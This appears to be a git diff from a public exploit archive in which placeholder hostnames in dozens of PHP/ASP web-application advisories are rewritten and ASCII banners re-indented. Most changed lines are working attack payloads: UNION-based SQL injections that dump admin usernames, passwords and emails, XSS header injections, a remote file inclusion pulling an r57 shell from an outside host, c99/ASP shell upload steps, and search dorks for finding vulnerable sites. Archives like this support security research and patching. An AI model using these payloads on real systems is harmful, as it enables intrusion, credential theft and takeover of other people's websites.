_|| 4_|_|| o_w_, ( : / (_) / ( . ================================ diff --git a/platforms/php/webapps/5666.txt b/platforms/php/webapps/5666.txt index fa99cbda8..4f97639fb 100755 --- a/platforms/php/webapps/5666.txt +++ b/platforms/php/webapps/5666.txt @@ -28,14 +28,14 @@ line 31:$sql -> db_Select("user", "user_name", "user_id=".$buid); exploit: [-]note=becuse e107 using diffrent prefix/table names it's impossible to writting exploit for it :( -http://server/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and 2>1/* #the page fully loaded +http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and 2>1/* #the page fully loaded -http://server/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and 1>3/* #page loaded whit any data and some error that say "The user has hidden their blog." +http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and 1>3/* #page loaded whit any data and some error that say "The user has hidden their blog." cheking the mysql version: -http://server/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and substring(@@version,1,1)=5 +http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and substring(@@version,1,1)=5 or -http://server/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and substring(@@version,1,1)=4 +http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and substring(@@version,1,1)=4 # you can exploting the bug white blind sql automatic toolz such as sqlmap or ... --- diff --git a/platforms/php/webapps/5671.txt b/platforms/php/webapps/5671.txt index 9009af81c..fdd36b85f 100755 --- a/platforms/php/webapps/5671.txt +++ b/platforms/php/webapps/5671.txt @@ -26,7 +26,7 @@ Kacakizm Bir YaÅŸam Felsefesi < -- bug code start -- > -www.server/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=[SH3LL] +www.site.com/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=[SH3LL] /path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=[SH3LL] diff --git a/platforms/php/webapps/5673.txt b/platforms/php/webapps/5673.txt index 776b89f98..221478725 100755 --- a/platforms/php/webapps/5673.txt +++ b/platforms/php/webapps/5673.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) -------------oOO---(_)---OOo------------ | Xomol CMS v1 Login Bypass & LFI | diff --git a/platforms/php/webapps/5674.txt b/platforms/php/webapps/5674.txt index 8bcc5258b..cdc1397be 100755 --- a/platforms/php/webapps/5674.txt +++ b/platforms/php/webapps/5674.txt @@ -28,7 +28,7 @@ EXPLOIT HTML : <LINK REL="stylesheet" TYPE="text/css" HREF="style.css"> </HEAD> <BODY> -<form action="http://server/path/admin/userform.php" method="POST"> +<form action="http://site.com/path/admin/userform.php" method="POST"> <FORM ACTION="#" METHOD="POST"> <INPUT TYPE="HIDDEN" NAME="save" VALUE="1"> <TABLE WIDTH=98% BORDER=0 CELLPADDING=4 CELLSPACING=0> diff --git a/platforms/php/webapps/5675.txt b/platforms/php/webapps/5675.txt index 379a1d4b5..765675bf1 100755 --- a/platforms/php/webapps/5675.txt +++ b/platforms/php/webapps/5675.txt @@ -1,4 +1,4 @@ -####################################################################################### + ####################################################################################### # # # ...::::RoomPHPlanning 1.5 SQL Injection Vulnerabilities ::::... # ####################################################################################### @@ -39,8 +39,8 @@ line 47:$qry = "SELECT NameRm, BkcolRm, FtcolRm ". "FROM ".ROOM." WHERE IdRm=".$idroom ; --- exploits: -http://server/resaopen.php?idresa=-99999/**/union/**/select/**/1,2,3,4,5,6,concat(LoginUs,0x3a,char(58),PwdUs),8,9/**/from/**/rp_user/**/where/**/IdRk=1/* -http://server/weekview.php?idroom=-999/**/union/**/select/**/concat(LoginUs,0x3a,char(58),PwdUs),2,3/**/from/**/rp_user/**/where/**/IdRk=1/* +http://site.com/resaopen.php?idresa=-99999/**/union/**/select/**/1,2,3,4,5,6,concat(LoginUs,0x3a,char(58),PwdUs),8,9/**/from/**/rp_user/**/where/**/IdRk=1/* +http://site.com/weekview.php?idroom=-999/**/union/**/select/**/concat(LoginUs,0x3a,char(58),PwdUs),2,3/**/from/**/rp_user/**/where/**/IdRk=1/* --- young iranian h4ck3rz diff --git a/platforms/php/webapps/5676.txt b/platforms/php/webapps/5676.txt index 4070df1b8..4617b0c0d 100755 --- a/platforms/php/webapps/5676.txt +++ b/platforms/php/webapps/5676.txt @@ -13,7 +13,7 @@ CMS MAXSITE Remote SQL Injection Exploit <= 1.10 [+] Dork: MAXSITE or intitle:"MAXSITE" -[+] Exploit: http://server/path/index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/* +[+] Exploit: http://server.com/path/index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/* [+] index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/* diff --git a/platforms/php/webapps/5692.pl b/platforms/php/webapps/5692.pl index 4bfa6a945..75c60741f 100755 --- a/platforms/php/webapps/5692.pl +++ b/platforms/php/webapps/5692.pl @@ -20,7 +20,7 @@ print "\t\t########################################################\n\n"; use LWP::UserAgent; -print "\nEnter your Target (http://server/mambo/): "; +print "\nEnter your Target (http://site.com/mambo/): "; chomp(my $target=<STDIN>); $uname="username"; diff --git a/platforms/php/webapps/5698.txt b/platforms/php/webapps/5698.txt index 0bf50067c..391bedcde 100755 --- a/platforms/php/webapps/5698.txt +++ b/platforms/php/webapps/5698.txt @@ -44,9 +44,9 @@ Successful exploitation requires that "magic_quotes" is off. Poc/Exploit: ~~~~~~~~~ -http://server/[path]/sites/index.php?cid=-1%20union%20select%201,2,3,concat(uid,0x3a,username,0x3a,useremail,0x3a,userpass,0x3a,aid,0x3a,password_reminder,0x3a,confirmation_code),5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5%20from%20userinfo-- +http://www.target.com/[path]/sites/index.php?cid=-1%20union%20select%201,2,3,concat(uid,0x3a,username,0x3a,useremail,0x3a,userpass,0x3a,aid,0x3a,password_reminder,0x3a,confirmation_code),5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5%20from%20userinfo-- -http://server/[path]/sites/index.php?cid=-1%20union%20select%201,2,3,sesskey,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5%20from%20sessions-- +http://www.target.com/[path]/sites/index.php?cid=-1%20union%20select%201,2,3,sesskey,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5%20from%20sessions-- Dork: diff --git a/platforms/php/webapps/5699.txt b/platforms/php/webapps/5699.txt index ae288a2f8..a896f8eb8 100755 --- a/platforms/php/webapps/5699.txt +++ b/platforms/php/webapps/5699.txt @@ -44,7 +44,7 @@ n0te :: The Script have diffrent Versions you can get the source and search for ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## weapon.php?id=1+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- ## ######################### @@ -63,7 +63,7 @@ n0te :: The Script have diffrent Versions you can get the source and search for ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## map.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,user(),13,14,15,16,17-- ## ######################### @@ -82,7 +82,7 @@ n0te :: The Script have diffrent Versions you can get the source and search for ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## weapon.php?id=1+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/* ## ######################### diff --git a/platforms/php/webapps/5706.php b/platforms/php/webapps/5706.php index 8884ca42e..09b0c8c67 100755 --- a/platforms/php/webapps/5706.php +++ b/platforms/php/webapps/5706.php @@ -17,8 +17,8 @@ print_r(' # Dork: inurl:"index.php?css=mid=art=" # Admin Panel: [Target]/cms/ # Usage: php '.$argv[0].' [Target] [Userid] -# Example for "http://www.server/index.php?css=1&mid=100&art=1" -# => php '.$argv[0].' http://www.server 1 +# Example for "http://www.site.com/index.php?css=1&mid=100&art=1" +# => php '.$argv[0].' http://www.site.com 1 # ############################################################### '); diff --git a/platforms/php/webapps/5728.txt b/platforms/php/webapps/5728.txt index 9c8e0e204..93f61f8b3 100755 --- a/platforms/php/webapps/5728.txt +++ b/platforms/php/webapps/5728.txt @@ -6,9 +6,9 @@ FlashBlog beta0.31 Remote File Upload Vulnerability # Website : www.dumenci.net, www.coderx.org -http://[server]/admin/Editor/imgupload.php ==>>> upload your c99 shell +http://[site.com]/admin/Editor/imgupload.php ==>>> upload your c99 shell -http://[server]/tus_imagenes/c99.php ==>>> your address +http://[site.com]/tus_imagenes/c99.php ==>>> your address Tnx: Dumenci, Damar, Cr@zy_king, Str0ke and all my friendz diff --git a/platforms/php/webapps/5733.txt b/platforms/php/webapps/5733.txt index 9849db27e..59c2a5be5 100755 --- a/platforms/php/webapps/5733.txt +++ b/platforms/php/webapps/5733.txt @@ -3,7 +3,7 @@ # AmnPardaz Security Research Team # # Title: QuickerSite Multiple Vulnerabilities -# Vendor: www.quickerserver +# Vendor: www.quickersite.com # Vulnerable Version: 1.8.5 # Exploit: Available # Impact: High @@ -148,7 +148,7 @@ GET /rss.asp?iId=IHJEF&s="'><script>alert('XSS-QueryString!')</script> HTTP/1.1 Host: [URL] User-Agent: Not - Referer: FooNotserver"'><script>alert('XSS-Referer!')</script> + Referer: FooNotSite.com"'><script>alert('XSS-Referer!')</script> X-FORWARDED-FOR: "'><script>alert('XSS-Proxy!')</script> ACCEPT-LANGUAGE: test Accept-Encoding: gzip,deflate diff --git a/platforms/php/webapps/5756.txt b/platforms/php/webapps/5756.txt index 1ffa05b87..49e3fc985 100755 --- a/platforms/php/webapps/5756.txt +++ b/platforms/php/webapps/5756.txt @@ -1,4 +1,4 @@ -MMM MMM + MMM MMM MMM MMM MMMMMMMMMMMMM MMMMMMMMM MMMMMMMMMM MMMMMMMMM MMMMMMMMM MMMMMMMMM MMMMMMMMM MM MMM MMM MM MMM MMM MMM MMM MMM MMM MMM MMM MMM diff --git a/platforms/php/webapps/5757.txt b/platforms/php/webapps/5757.txt index d0e30d63c..646baebfa 100755 --- a/platforms/php/webapps/5757.txt +++ b/platforms/php/webapps/5757.txt @@ -11,7 +11,7 @@ require_once($bcrm_pub_root . "/public_prepend.inc.php") exploit: -www.server/browser_crm/pub/clients.php?bcrm_pub_root=http://www.gwebspace.de/mohsen/shell/r57.txt? +www.site.com/browser_crm/pub/clients.php?bcrm_pub_root=http://www.gwebspace.de/mohsen/shell/r57.txt? Author: ahmadbady | kivi_hacker666@yahoo.com diff --git a/platforms/php/webapps/5771.txt b/platforms/php/webapps/5771.txt index e9febc404..e5c507140 100755 --- a/platforms/php/webapps/5771.txt +++ b/platforms/php/webapps/5771.txt @@ -1,4 +1,4 @@ -_____ _ _ _____ _____ _____ _____ + _____ _ _ _____ _____ _____ _____ / ___| |_| | _ \| _ | _ |_ _| | (___| _ | [_)_/| (_) | (_) | | | \_____|_| |_|_| |_||_____|_____| |_| diff --git a/platforms/php/webapps/5772.txt b/platforms/php/webapps/5772.txt index 383a4d1eb..257b99da8 100755 --- a/platforms/php/webapps/5772.txt +++ b/platforms/php/webapps/5772.txt @@ -1,4 +1,4 @@ -_____ _ _ _____ _____ _____ _____ + _____ _ _ _____ _____ _____ _____ / ___| |_| | _ \| _ | _ |_ _| | (___| _ | [_)_/| (_) | (_) | | | \_____|_| |_|_| |_||_____|_____| |_| diff --git a/platforms/php/webapps/5773.txt b/platforms/php/webapps/5773.txt index 3613a41c2..ea26225c7 100755 --- a/platforms/php/webapps/5773.txt +++ b/platforms/php/webapps/5773.txt @@ -1,4 +1,4 @@ -_____ _ _ _____ _____ _____ _____ + _____ _ _ _____ _____ _____ _____ / ___| |_| | _ \| _ | _ |_ _| | (___| _ | [_)_/| (_) | (_) | | | \_____|_| |_|_| |_||_____|_____| |_| diff --git a/platforms/php/webapps/5774.txt b/platforms/php/webapps/5774.txt index 79d75c94a..ce7a8a07a 100755 --- a/platforms/php/webapps/5774.txt +++ b/platforms/php/webapps/5774.txt @@ -1,4 +1,4 @@ -_____ _ _ _____ _____ _____ _____ + _____ _ _ _____ _____ _____ _____ / ___| |_| | _ \| _ | _ |_ _| | (___| _ | [_)_/| (_) | (_) | | | \_____|_| |_|_| |_||_____|_____| |_| diff --git a/platforms/php/webapps/5785.txt b/platforms/php/webapps/5785.txt index 5291aae3a..0b0aa7e18 100755 --- a/platforms/php/webapps/5785.txt +++ b/platforms/php/webapps/5785.txt @@ -28,7 +28,7 @@ ## ## ## -(:: SQL ::)- -## www.server/toplists.php?list=(SQL) +## www.Site.com/toplists.php?list=(SQL) ## 1'+union+select+1,2,current_user,4,5,6,7,8/* ## ######################## diff --git a/platforms/php/webapps/5789.pl b/platforms/php/webapps/5789.pl index 5686519b4..bb4c9b2ce 100755 --- a/platforms/php/webapps/5789.pl +++ b/platforms/php/webapps/5789.pl @@ -158,7 +158,7 @@ sub usage() -Written by h0yt3r- Usage: JAMM_CMS.pl [Server] [Path] Sample: - perl JAMM.pl.pl www.server /cms/ + perl JAMM.pl.pl www.site.com /cms/ ###################################################### }; diff --git a/platforms/php/webapps/5794.pl b/platforms/php/webapps/5794.pl index c9097f556..eb6ece4ba 100755 --- a/platforms/php/webapps/5794.pl +++ b/platforms/php/webapps/5794.pl @@ -93,7 +93,7 @@ sub usage() -Written by h0yt3r- Usage: Clever_Copy.pl [Server] [Path] Sample: - perl Clever_Copy.pl www.server /clevercopy/ + perl Clever_Copy.pl www.site.com /clevercopy/ ###################################################### }; diff --git a/platforms/php/webapps/5798.pl b/platforms/php/webapps/5798.pl index d1eadf690..5511e118e 100755 --- a/platforms/php/webapps/5798.pl +++ b/platforms/php/webapps/5798.pl @@ -46,7 +46,7 @@ if ($#ARGV + 1 != 3) print " \n"; print " \n"; print "Usage: ./xpl-webchamado.pl <WebChamado URL> <user> <email>\n"; - print "Ex. ./xpl-webchamado.pl http://server/WebChamado/ cwhunderground cwh\@cwh.com\n"; + print "Ex. ./xpl-webchamado.pl http://www.target.com/WebChamado/ cwhunderground cwh\@cwh.com\n"; exit(); } diff --git a/platforms/php/webapps/5799.pl b/platforms/php/webapps/5799.pl index f6e6e7e85..608a88fe4 100755 --- a/platforms/php/webapps/5799.pl +++ b/platforms/php/webapps/5799.pl @@ -28,7 +28,7 @@ print "\t\t########################################################\n\n"; use LWP::UserAgent; -print "\nEnter your Target (http://server/mambo/): "; +print "\nEnter your Target (http://site.com/mambo/): "; chomp(my $target=<STDIN>); $uname="username"; diff --git a/platforms/php/webapps/5802.txt b/platforms/php/webapps/5802.txt index 8539f6b2e..0442631ff 100755 --- a/platforms/php/webapps/5802.txt +++ b/platforms/php/webapps/5802.txt @@ -1,4 +1,4 @@ -####################################################################################### + ####################################################################################### # # # ...:::::WebChamado 1.1 SQL Injection Vulnerability ::::.... # ####################################################################################### @@ -24,7 +24,7 @@ line 12: $tsk_id = $_GET['tsk_id']; line 14: $query = "SELECT SEQ, DSC, TIP, TAM FROM TBLTASK_TSKARQ WHERE TSK_ID = $tsk_id ORDER BY DSC"; --- exploit: -http://server/lista_anexos.php?tsk_id=-1/**/union/**/select/**/1,concat(NOM,0x3a,PAS,char(58),EML),3,4/**/from/**/tbltask_res/**/where/**/ADM=1/* +http://site.com/lista_anexos.php?tsk_id=-1/**/union/**/select/**/1,concat(NOM,0x3a,PAS,char(58),EML),3,4/**/from/**/tbltask_res/**/where/**/ADM=1/* ------- young iranian h4ck3rz diff --git a/platforms/php/webapps/5803.txt b/platforms/php/webapps/5803.txt index ca7576821..2be673c8f 100755 --- a/platforms/php/webapps/5803.txt +++ b/platforms/php/webapps/5803.txt @@ -43,7 +43,7 @@ Successful exploitation requires that "magic_quotes" is off. Poc/Exploit: ~~~~~~~~~ -http://server/[path]/index.php?id=-1%20union%20select%201,2,3,concat(login,0x3a,password),5,6,7%20from%20admin-- +http://www.target.com/[path]/index.php?id=-1%20union%20select%201,2,3,concat(login,0x3a,password),5,6,7%20from%20admin-- Dork: diff --git a/platforms/php/webapps/5804.txt b/platforms/php/webapps/5804.txt index f9a3c700e..acf4fdd95 100755 --- a/platforms/php/webapps/5804.txt +++ b/platforms/php/webapps/5804.txt @@ -43,8 +43,8 @@ Successful exploitation requires that "magic_quotes" is off. Poc/Exploit: ~~~~~~~~~ -http://server/[path]/showcategory.php?cid=-1%20union%20select%201,concat(id,0x3a,admin_name,0x3a,pwd),3,4,5,6%20from%20sbwmd_admin-- -http://server/[path]/software-description.php?id=-1%20union%20select%201,2,concat(id,0x3a,admin_name,0x3a,pwd),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1%20from%20sbwmd_admin-- +http://www.target.com/[path]/showcategory.php?cid=-1%20union%20select%201,concat(id,0x3a,admin_name,0x3a,pwd),3,4,5,6%20from%20sbwmd_admin-- +http://www.target.com/[path]/software-description.php?id=-1%20union%20select%201,2,concat(id,0x3a,admin_name,0x3a,pwd),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1%20from%20sbwmd_admin-- Dork: ~~~~ diff --git a/platforms/php/webapps/5806.pl b/platforms/php/webapps/5806.pl index e43d74fb5..88b9dfc3b 100755 --- a/platforms/php/webapps/5806.pl +++ b/platforms/php/webapps/5806.pl @@ -140,7 +140,7 @@ sub usage() -Written by h0yt3r- Usage: gllcts2.pl [Server] [Path] Sample: - perl gllcts2.pl www.server /cms/ + perl gllcts2.pl www.site.com /cms/ ###################################################### }; diff --git a/platforms/php/webapps/5815.pl b/platforms/php/webapps/5815.pl index f394d1319..e73b061e2 100755 --- a/platforms/php/webapps/5815.pl +++ b/platforms/php/webapps/5815.pl @@ -133,7 +133,7 @@ sub usage() -Written by h0yt3r- Usage: cartweaver.pl [Server] [Path] [Product ID] Sample: - perl Cartweaver.pl www.server /cartweaver/ 13 + perl Cartweaver.pl www.site.com /cartweaver/ 13 ###################################################### }; diff --git a/platforms/php/webapps/5819.txt b/platforms/php/webapps/5819.txt index 55f051298..e7d0575e9 100755 --- a/platforms/php/webapps/5819.txt +++ b/platforms/php/webapps/5819.txt @@ -30,14 +30,14 @@ [*] Blind SQL Injection: - http://server/index.php?page=1 and 1=1 - http://server/index.php?page=1 and 1=2 + http://site.com/index.php?page=1 and 1=1 + http://site.com/index.php?page=1 and 1=2 [*] Arbitrary Remote File Manager Access: - http://server/ezcms/admin/filemanager/ + http://site.com/ezcms/admin/filemanager/ @@ -46,8 +46,8 @@ no exploit coded for the blind injection, because no point due to you can get a easy shell through the file manager, althou if your curious, use SQLMap. (check sourceforge) - the "File Manager" is a very easy to use bug, just browse to server/ezcms/admin/filemanager/ - server being the actual site and you can upload/edit/delete/upload/move files/folders. + the "File Manager" is a very easy to use bug, just browse to site.com/ezcms/admin/filemanager/ + site.com being the actual site and you can upload/edit/delete/upload/move files/folders. diff --git a/platforms/php/webapps/5820.txt b/platforms/php/webapps/5820.txt index b126a2435..5d9195b9b 100755 --- a/platforms/php/webapps/5820.txt +++ b/platforms/php/webapps/5820.txt @@ -27,7 +27,7 @@ [*] SQL Injection: - http://server/newsarchive.php?post=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,4,5,6/**/FROM/**/pen_users/* + http://site.com/newsarchive.php?post=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,4,5,6/**/FROM/**/pen_users/* diff --git a/platforms/php/webapps/5821.txt b/platforms/php/webapps/5821.txt index 1c3f48aa1..0bf11b2bd 100755 --- a/platforms/php/webapps/5821.txt +++ b/platforms/php/webapps/5821.txt @@ -26,8 +26,8 @@ [*] SQL Injection: - multi-row: http://server/forum_answer.php?que_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,concat(username,0x3a,password),6,7,8,9,10/**/FROM/**/expert/* - normal: http://server/profile.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/FROM/**/expert/**/LIMIT/**/0,1/* + multi-row: http://site.com/forum_answer.php?que_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,concat(username,0x3a,password),6,7,8,9,10/**/FROM/**/expert/* + normal: http://site.com/profile.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/FROM/**/expert/**/LIMIT/**/0,1/* diff --git a/platforms/php/webapps/5823.txt b/platforms/php/webapps/5823.txt index 21dc5c8d8..6e423f35a 100755 --- a/platforms/php/webapps/5823.txt +++ b/platforms/php/webapps/5823.txt @@ -34,7 +34,7 @@ ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## news.php?viewnews=-1'+union+select+1,2,username,password,5,6,7+from+users/* ## ## diff --git a/platforms/php/webapps/5830.txt b/platforms/php/webapps/5830.txt index 8e2dddc87..58a18352e 100755 --- a/platforms/php/webapps/5830.txt +++ b/platforms/php/webapps/5830.txt @@ -33,7 +33,7 @@ ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## albums.php?section=cats&action=show&CatId=-1+union+select+1,concat_ws(0x3a3a,UserName,UserPassword,UserEmail),3,4,5,6,7,8+from+tblUsers/* ## 0r ## albums.php?section=cats&action=show&CatId=-1+union+select+1,concat_ws(0x3a3a,UserName,UserPassword,UserEmail),3,4,5,6,7,8,9+from+tblUsers/* @@ -46,8 +46,8 @@ ######################## ## -(:: Admin Panel ::)- ## -## www.server/?admin=1 -## www.server/admin/ +## www.site.com/?admin=1 +## www.site.com/admin/ ################### ################### diff --git a/platforms/php/webapps/5832.pl b/platforms/php/webapps/5832.pl index 7ec9d6238..5baaae22d 100755 --- a/platforms/php/webapps/5832.pl +++ b/platforms/php/webapps/5832.pl @@ -140,7 +140,7 @@ sub usage() -Written by h0yt3r- Usage: MyMarket.pl [Server] [Path] [Category ID] Sample: - perl MyMarket.pl www.server /shopping/ 1 + perl MyMarket.pl www.site.com /shopping/ 1 ###################################################### }; diff --git a/platforms/php/webapps/5835.txt b/platforms/php/webapps/5835.txt index f3c4cda33..597745e18 100755 --- a/platforms/php/webapps/5835.txt +++ b/platforms/php/webapps/5835.txt @@ -29,7 +29,7 @@ ## ## -(:: SQL ::)- ## -## www.server/photo/ +## www.site.com/photo/ ## index.php?Page=ShowPicture&Id=-756+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8,9,10+from+admins/* ## ## -(:: L!VE DEMO ::)- diff --git a/platforms/php/webapps/5836.txt b/platforms/php/webapps/5836.txt index 71b522b02..61e785a3c 100755 --- a/platforms/php/webapps/5836.txt +++ b/platforms/php/webapps/5836.txt @@ -27,7 +27,7 @@ ## ## -(:: SQL ::)- ## -## www.server/pages/ +## www.site.com/pages/ ## index.php?r=&page_id=-74+union+select+1,1,1,convert(concat_ws(0x2F2A2A2F,version(),current_user,database())+using+latin1),1,1-- ## ## -(:: L!VE DEMO ::)- diff --git a/platforms/php/webapps/5838.txt b/platforms/php/webapps/5838.txt index e331450de..9752e8f09 100755 --- a/platforms/php/webapps/5838.txt +++ b/platforms/php/webapps/5838.txt @@ -29,7 +29,7 @@ ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## index.php?page=-28+union+select+concat_ws(0x3a,admin,password)+from+admin/* ## ## -(:: L!VE DEMO ::)- diff --git a/platforms/php/webapps/5839.txt b/platforms/php/webapps/5839.txt index 5e7910286..924f55bfd 100755 --- a/platforms/php/webapps/5839.txt +++ b/platforms/php/webapps/5839.txt @@ -1,4 +1,4 @@ -/************************************************************************/ + /************************************************************************/ /* */ /* Clipshare */ /* */ diff --git a/platforms/php/webapps/5842.txt b/platforms/php/webapps/5842.txt index 58a9c3d44..c633214b2 100755 --- a/platforms/php/webapps/5842.txt +++ b/platforms/php/webapps/5842.txt @@ -29,7 +29,7 @@ ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## index.php?page=show_article&articleid=-1+union+select+concat_ws(0x3a3a,user_login,user_pass,user_email),2,3,4,5+from+wp_users/* ## ## diff --git a/platforms/php/webapps/5845.txt b/platforms/php/webapps/5845.txt index 6c93ea36b..4e0cdbffb 100755 --- a/platforms/php/webapps/5845.txt +++ b/platforms/php/webapps/5845.txt @@ -1,4 +1,4 @@ - ######################################################################## + ######################################################################## # # # ...:::::MyShoutPro Insecure Cookie Handling Vulnerability ::::.... # ######################################################################## diff --git a/platforms/php/webapps/5846.txt b/platforms/php/webapps/5846.txt index 70d3b12dd..be6618406 100755 --- a/platforms/php/webapps/5846.txt +++ b/platforms/php/webapps/5846.txt @@ -32,7 +32,7 @@ ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## index.php?site=-1'+union+select+1,2,concat_ws(0x3a,passwort,email),4,5+from+members+limit+1,1/* ## ## -(:: L!VE DEMO ::)- diff --git a/platforms/php/webapps/5850.txt b/platforms/php/webapps/5850.txt index 85c5c3713..fecf9ff1e 100755 --- a/platforms/php/webapps/5850.txt +++ b/platforms/php/webapps/5850.txt @@ -4,9 +4,9 @@ Title:AspWebCalendar 2008 Remote File Upload Vulnerability # Dork :calendar.asp?eventdetail -http://[server]/path/calendar_admin.asp?action=uploadfile ==>>> upload your Asp shell +http://[site.com]/path/calendar_admin.asp?action=uploadfile ==>>> upload your Asp shell -http://[server]/path/calendar/eventimages/yourshell.asp ==>>> your address +http://[site.com]/path/calendar/eventimages/yourshell.asp ==>>> your address upload form diff --git a/platforms/php/webapps/5853.txt b/platforms/php/webapps/5853.txt index b269b1075..097719286 100755 --- a/platforms/php/webapps/5853.txt +++ b/platforms/php/webapps/5853.txt @@ -9,9 +9,9 @@ # Download : http://softdivision.com =============================================== # Exploit : - ==>> server//modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+current_user,2/* + ==>> www.target.com//modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+current_user,2/* - ==>> server//modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+concat_ws(0x3a3a,name,password,email),2+from+accounts/* + ==>> www.target.com//modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+concat_ws(0x3a3a,name,password,email),2+from+accounts/* # live Demo : diff --git a/platforms/php/webapps/5854.txt b/platforms/php/webapps/5854.txt index 1f2fe896d..9de567c64 100755 --- a/platforms/php/webapps/5854.txt +++ b/platforms/php/webapps/5854.txt @@ -8,9 +8,9 @@ # Download : http://www.mybizz-classifieds.com/ =============================================== # Exploit : - ==>> http://server/mybizz/index.php?cat=-1+union+select+user(),2,3/* + ==>> http://www.target.com/mybizz/index.php?cat=-1+union+select+user(),2,3/* - ==>> http://server/mybizz/index.php?cat=-1+union+select+current_time,2,3/* + ==>> http://www.target.com/mybizz/index.php?cat=-1+union+select+current_time,2,3/* # live Demo : diff --git a/platforms/php/webapps/5855.txt b/platforms/php/webapps/5855.txt index 695d3e4c7..3b46cc58c 100755 --- a/platforms/php/webapps/5855.txt +++ b/platforms/php/webapps/5855.txt @@ -30,7 +30,7 @@ ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## index.php?cat_path=-1+union+select+concat(user(),0x2F2A2A2F,version(),0x2F2A2A2F,database())/* ## ## -(:: L!VE DEMO ::)- diff --git a/platforms/php/webapps/5856.txt b/platforms/php/webapps/5856.txt index 9734438cc..804ab1b62 100755 --- a/platforms/php/webapps/5856.txt +++ b/platforms/php/webapps/5856.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/5862.txt b/platforms/php/webapps/5862.txt index f73c28233..cc645876a 100755 --- a/platforms/php/webapps/5862.txt +++ b/platforms/php/webapps/5862.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -14,7 +14,7 @@ # Script site: http://samart.6x.to/ # # Vuln: - # http://server/site.php?contentsid=-1+UNION%20SELECT+1,2,4,3,concat_ws(char(58),m_id,m_username,m_password,m_email),6,7+from+member/* + # http://site.com/site.php?contentsid=-1+UNION%20SELECT+1,2,4,3,concat_ws(char(58),m_id,m_username,m_password,m_email),6,7+from+member/* # # # Dork example: "Powered by samart-cms" diff --git a/platforms/php/webapps/5863.txt b/platforms/php/webapps/5863.txt index eb70f0388..a08118248 100755 --- a/platforms/php/webapps/5863.txt +++ b/platforms/php/webapps/5863.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -14,7 +14,7 @@ # Script site: http://www.cms.brdconcept.fr/ # # Vuln: - # http://server/index.php?lang=en&menuclick=-1+UNION+SELECT+concat_ws(char(58),USER(),DATABASE(),VERSION())/* + # http://site.com/index.php?lang=en&menuclick=-1+UNION+SELECT+concat_ws(char(58),USER(),DATABASE(),VERSION())/* # # # Dork example: "Powered By CMS-BRD" diff --git a/platforms/php/webapps/5865.txt b/platforms/php/webapps/5865.txt 